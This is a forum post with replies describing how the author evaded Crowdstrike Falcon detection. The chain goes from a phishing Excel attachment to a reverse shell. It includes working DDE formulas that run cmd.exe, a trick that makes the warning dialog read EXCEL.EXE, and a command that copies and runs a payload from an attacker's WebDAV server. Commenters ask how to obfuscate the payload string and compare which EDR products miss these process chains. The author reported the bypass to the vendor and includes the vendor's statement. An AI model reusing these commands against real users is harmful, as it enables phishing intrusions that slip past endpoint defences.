Bypassing Crowdstrike Falcon detection, from phishing email to reverse shell



Update 2019/01/14: Crowdstrike asked me to share an official statement:
“We appreciate you reporting this detection miss to us and allowing us to rapidly address this gap on January 11th. We do have a bug bounty program or via [email protected] that can be used by researchers to report any issues directly to us and get a monetary reward. We also would like to point out that while CrowdStrike Falcon did not originally show a UI detection for the establishment of the shell (it did record all the activity with the EDR part of the solution), we believe that follow-on adversary activity would have been easily picked up by the product. We love engaging with the researcher community to continue making Falcon the best endpoint security solution on the market - thank you for the feedback!”

Update 2019/01/22: I have confirmation that the two main competitors did not catch it either.

Crowdstrike Falcon is part of a new wave of endpoint security solutions that attempt to detect and block unusual activity using machine-learning and behavioral analysis (at least, that’s what the vendors say).

I can confirm that well known and used living off the land tactics (think Powershell, WScript, Bitsadmin, mshta, etc.) generally won’t be successful if Falcon is installed on the target. It will make a threat actor’s life a lot harder. It’s probably the same with other similar solutions such as Carbon Black, Cylance, etc.

When I say bypassing, I mean completely bypass detection, from the phishing email received by the user to the reverse shell. Something realistic, not just writing a malware and see if it gets executed.

So if we can’t use the classic techniques, about trying some new (old) trick?

Turns out, it was pretty trivial ¯\_(ツ)_/¯.

The setup


  • A cheap VPS (found on LowEndBox) with Apache 2 and mod_webdav enabled and configured
  • A Python reverse shell packaged as single binary with pyinstaller --onefile
  • Crafted Excel file

Target VM:

  • Windows 10 1803 with all the security fixes, up to date
  • Crowdstrike Falcon Sensor (latest version)
  • Excel 2016 fully patched, Outlook configured with my corporate mailbox

Step 1. The attachment

This time I decided to go with something less-known and a bit more tricky than a simple macro. I wanted to be sure it wouldn't be caught by the company's email filter and Windows Defender. I knew there was a chance that it would be caught by Falcon but I decided to try anyway.

So I decided to use a trick I had observed during the Hancitor campaign a while ago, which is leveraging the Dynamic Data Exchange (DDE) feature instead of a macro.

My first attempt was to use it by inserting a formula in a Word document (CTRL+F9) in which I’d simply have to insert the following line:

{DDEAUTO c:\\windows\\system32\\cmd.exe "/k notepad.exe"}

Unfortunately, Notepad didn’t launch. After a quick search, I saw that Microsoft had shipped a patch in December 2017 that disabled the feature in Word.

So if it’s disabled in Word… what about Excel?

Second try, inserting a formula in Excel:

=cmd|'/c notepad.exe'!_xlbgnm.A1

It worked!

To make things more credible to the user, it’s possible to manipulate the message displayed in the warning box for the user.

Originally, the message displayed is the following:

However, it’s possible to replace the CMD.EXE with EXCEL.EXE to make things more credible using:
=EXCEL|'\..\..\..\Windows\System32\cmd.exe /c notepad.exe'!_xlbgnm.A1

Now, that’s seem a bit more legit:

So I had a way to execute code through an attachment, assuming the user would click Yes to the warning message without reading. Now, about using this to download and execute the payload?

Step 2. WebDAV

Why WebDAV? Assuming all the popular, living off the land tactics, wouldn't work and I would get caught, I started to think about a different way of doing things. Then, I remembered that Windows can connect and browse WebDAV servers using Explorer. Can you see what I'm getting at?

I set up a small VPS with Apache and the mod_webdav module. Then, I changed ports.conf to free port 443, which I used to listen on with Netcat.

Step 3. Executing a reverse shell

Making a reverse shell was easy. All I had to do is use some Python reverse shell code that works on Windows. There are plenty laying around on GitHub or pentesting blogs. Why Python? It was less likely to be detected. Then, on a Windows machine, I created a standalone executable using PyInstaller with the `pyinstaller --onefile` command.

Once the shell was ready, I uploaded it to the root of the WebDAV folder.

Now I had to see if it could be executed through WebDAV. On the victim VM:

=cmd|'/c cmd.exe /c "\\\\webdav\run.exe"'!_xlbgnm.A1

Not working. Why? I run the command in the command prompt and I see:

The specified path does not exist.
Check the path, and then try again.

Yet the payload was there. So after a bit of Google search I found this article on TechNet and figured all I had to do was rename the file to run.txt, copy the file on the machine (it’s a network location after all!) and execute it locally. It worked.

=cmd|'/c cmd.exe /c "copy \\\webdav\run.txt c:\users\public\run.exe" && cmd.exe /c "c:\users\public\run.exe"'!_xlbgnm.A1

Step 4. Putting the pieces together

Crowdstrike Falcon uses behavioral analysis to detect malicious Office documents that try to execute code. For example, if the process execution tree is the following:

explorer.exe > outlook.exe > excel.exe > powershell.exe -windowstyle hidden -executionpolicy bypass -enc

Is it because of the execution flow or simply because of the Powershell arguments? That’s unclear.

That said, the following worked:

  • Created an email from a junk mailbox and attached the “malicious” Excel file to it.
  • Sent the email to a corporate mailbox
  • Open the email from the corporate mailbox in Outlook, open the attachment, click “Yes” on the warning popup.
  • Wait
  • Get a shell on the machine.

Wait! What? It worked? Something must be wrong. I then make sure the Falcon service is running. It is. I go check the host in the Falcon dashboard see if it still is communicating, it is. So I try again. Yup, still works.

What Falcon saw and the reverse shell:

(sorry for the potato screenshots, had to stich them together as new users can only post 1 image)

While not a vulnerability, I decided to wait before writing this post and reported the bypass technique to Crowdstrike on December 21st 2018 so it’s not being abused by any bad actors (although they might have found it on their own). Crowdstrike confirmed that the bypass was valid and patched it on January 11th 2019.

If any of you can test with Carbon Black and other similar products, please let me know the results!

Edit 2019/01/14:

  • Added an explanation on how to manipulate the warning message box to replace CMD.EXE with EXCEL.EXE
  • Added Crowdstrike official statement

Edit 2019/01/22:

  • I got confirmation the two main competitors did not caught it either.


Great job reporting this issue, now it would be curious to test their patch to see if it just relies on simple signatures or if it’s actually behavior-based.

(Co-Founder and Part-time Fool ) #3

This is a fantastic article, this kind of content is absolutely awesome!

I am surprised that this bypasses falcon, especially unsigned exes. I’d love to give this method a shot with a cobalt strike beacon, I wonder how we’d do it?

I also wonder if this method would work with HTA’s or XSLs.

I’ve actually been working on a code execution/LOLBin for windows that doesn’t use the norms. Was going to incorporate somewhere (this allows you to embed PE files in VBA), this might be helpful to streamline this process. What do you think?


Hey thanks! I don’t have much experience at writing this kind of article in general so I appreciate any feedback. Please try with whatever product you can. I’d be curious to know the results and I think it’s really important to properly test these products (meaning not using the usual techniques) considering how much they cost and all the buzzwords they use to sell them. In Crowdstrike’s case, I was pleasantly surprised with they’re quick answer and collaboration on the subject.

Regarding HTAs and XSLs, I previously read one of your articles on the subject a while ago and I did some tests where Falcon had caught them all. I never tried to do a macro with RunPE (first time I hear of this project, looks really cool!) but I definitely will. That said, I don’t focus on the macros because they’re easily detected by email filters and a company with good security practice will disable the execution via GPOs but I don’t doubt lots of people are still using them.

I’ll keep you posted by PM when I try in a few days.


Thank you! I will definitely test again in the coming days :wink:

(Alfred Kayuan) #6

still don’t get how you get to run DDE in excel 2016? been testing this for awhile and no luck. Excel 2016 windows10 16299

this is what i keep getting

a good advice is needed


If you want more articles like these, please consider funding us these products (anti-virus, anti-malware, anti-xyz, Microsoft Office, (mail) servers, licensed Cobalt Strike, etc.) :wink:

(*) #8

Nice article!! Excellent as a starting point for a red team. If you may be interested, I would like to share my research similar to this one.

Undetectable C# & C++ Reverse Shells:



Did you test in a fresh install or on a pre-configured machine? Depending on the organization and GPOs that are pushed for Office, the execution of external DDE servers might be disabled by default. In the organization where I tested, macros are disabled by default but external DDE servers are enabled and the settings can’t be controlled by the user. It’s a feature often used in financial institutions. You can go enable it in the Options > Trust Center > External content.

I’m not sure what the defaults are on a fresh Office install on a non domain-connect machine. I’m building a VM with a fresh Office 2016 without connecting it to the domain so we’ll see.


These were the first ones I used! Excellent article by the way. I did try most of the payloads you suggested and compiling them on the fly with Microsoft.Workflow.Compiler.exe and even tried with csc.exe in the .NET folder. Unfortunately they were all detected. Crowdstrike prevented the execution on my machine so I’m surprised it didnt show up in Virus Total but my tests are fairly recent.

However, I have an idea that I want to test and it might work well with your payloads. Instead compiling on the fly with both of these, about using the IL disassembly and recompile it on the fly instead or compiling the code itself?

If it works I’ll probably do another write up and give you credit for some ideas :stuck_out_tongue:


Just did a fresh install in a VM on Windows 10 Pro fully patched and I don’t have the issue.


You probably have a GPO that adds two additional check boxes (within the red box I added on the picture) to enable/disable the DDE server lookup and launch. The DDE server launch one if probably not checked (which is a good thing).

(Thunder-Son) #12

Hello. Nice write-up and finding! Are you aware of what GPOs this can bypass? What is a solution that can block execution from the GPO’s level without bricking excel? I can’t fully test this since I don’t have the proper environment for it, yet it seems to be a bypass …

(guly) #13

–edit: removed because not relevant


I’m not sure I understand the question very well but I’ll try to answer. The reason DDE is used is because the environment has the macros disabled by GPO. The GPOs in question I believe are:

  • Block macros from running in Office files from the Internet
  • Disable VBA for Office applications
  • VBA Macro Notification Settings set to Disable all with notification

As far as I know and as shown in my reply to Alfred above, by default DDE execution of external content is enabled by default. It will however create a pop-up message asking the user if he wishes to run cmd.exe (but as you know most people click stuff without reading) like this:


There is also a way to manipulate that message to replace cmd.exe with excel.exe using the following line:
=EXCEL|'\..\..\..\Windows\System32\cmd.exe /c notepad.exe'!_xlbgnm.A1


Much more credible, isn’t it?

I will edit the article to add it.

(Thunder-Son) #15

My question falls there exactly. How can you secure your Windows system against that by using GPOs and user restrictions? Reading as well on DDE since I am barely aware of it. Thank you for the extra bit as well!


Unfortunately I don’t know the specifics but Microsoft describes how to do it in a security advisory from 2 years ago:

Hope it helps!

(Alfred Kayuan) #17

After thinking through i went to Trust Security center Option and found this

after checking that it works. so for some reason i do not understand how that possibly got UNchecked in the first place and i have seen people make a test on 2016 excel which works


Hi, I think it depends - in Excel 2016 via office 365 has it in by default but the standalone installer which most enterprises use don’t have it. At least that’s my experience so far. Nice post.

(netdestroyer) #19

is there a way for obfuscate the string ? ( =cmd|’/c cmd.exe /c “\\webdav\run.exe”’!_xlbgnm.A1 )



Inline obfuscation works for Excel DDEs. See

To satisfy OP’s curiosity about half of the Endpoint products in the space currently have protection for Excel.exe -> cmd.exe, including Carbon Black. More have protection for Winword.exe -> cmd.exe and less have protection for Outlook.exe -> cmd.exe. So Outlook DDEs are great since Outlook is often overlooked.
If you use the uncommon LoLBins found at DDEs will have success against any product.